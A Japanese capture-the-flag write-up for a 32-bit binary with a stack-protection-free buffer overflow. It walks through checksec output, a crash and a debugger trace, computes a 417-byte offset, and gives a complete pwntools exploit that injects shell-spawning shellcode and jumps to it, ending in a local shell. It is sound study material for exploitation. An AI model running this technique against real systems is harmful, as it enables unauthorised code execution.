pwnlist baby Exploitation4
下調べ
mattun-mart@4ctf:~/Workspace/pwn/baby/Exploitation4$ file miteegashun | sed -e "s/,/\n/g" miteegashun: ELF 32-bit LSB executable Intel 80386 version 1 (SYSV) statically linked for GNU/Linux 2.6.24 BuildID[sha1]=41bbe92f629cbca9784458456d94282b2d2fd9e0 stripped
mattun-mart@4ctf:~/Workspace/pwn/baby/Exploitation4$ checksec.sh --file miteegashun RELRO STACK CANARY NX PIE RPATH RUNPATH FILE Partial RELRO No canary found NX disabled Not an ELF file No RPATH No RUNPATH miteegashun
解析
実行ファイルを起動すると入力を求められる.
いっぱい入力してみると,プログラムが落ちる.
Welcome to this demo of my exploit mitigation This mitigation is unbeatable, prove me wrong AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Segmentation fault (コアダンプ)
デバッガで見てみるとバッファオーバーフローしていることがわかる.
[----------------------------------registers-----------------------------------] EAX: 0x41414141 ('AAAA') EBX: 0x0 ECX: 0x3 EDX: 0x80f04e1 ('A' <repeats 200 times>...) ESI: 0x0 EDI: 0x8049770 (push ebx) EBP: 0x41414141 ('AAAA') ESP: 0x80f0444 ('A' <repeats 200 times>...) # ESPが入力AAA...で上書きされている. EIP: 0x8048f50 (ret) EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x8048f48: lea edx,[edx+ecx*4] 0x8048f4b: mov eax,DWORD PTR [edx] 0x8048f4d: mov DWORD PTR [esp],eax => 0x8048f50: ret 0x8048f51: mov eax,DWORD PTR [esp] 0x8048f54: mov ecx,DWORD PTR ds:0x80f0669 0x8048f5a: mov edx,0x80f04d5 0x8048f5f: lea edx,[edx+ecx*4] [------------------------------------stack-------------------------------------]
入力から処理を追っていくと,どうやら入力した値を.data領域の変数にコピーしているらしい.
しかし,コピーの際に変数の大きさ以上にコピーできるため,リターンアドレスの書き換えが可能.
リターンアドレスはedx(0x80f04e1)であるから,入力データを格納する変数のアドレス(0x80f0340)との差は417.
つまり417文字以降の入力でリターンアドレスを書き換えられる.
入力データを格納する変数のアドレスはわかっているからあとは入力にシェルコードを積んで実行するだけ.
Exploit
#~/usr/bin/env python # -*- coding:utf-8 -*- from pwn import * import struct import time #context.log_level = 'debug' conn = process('./miteegashun') data_addr = 0x80f0340 shellcode = asm(shellcraft.sh()) payload = shellcode payload += "A" * (417 - len(shellcode)) payload += p32(data_addr) payload += "\n" conn.recv() conn.send(payload) conn.interactive()
結果
mattun-mart@4ctf:~/Workspace/pwn/baby/Exploitation4$ python exploit.py [+] Starting local process './miteegashun': pid 11479 [*] Switching to interactive mode $ ls core exploit.py peda-crashdump-miteegashun.txt strings dump miteegashun peda-session-miteegashun.txt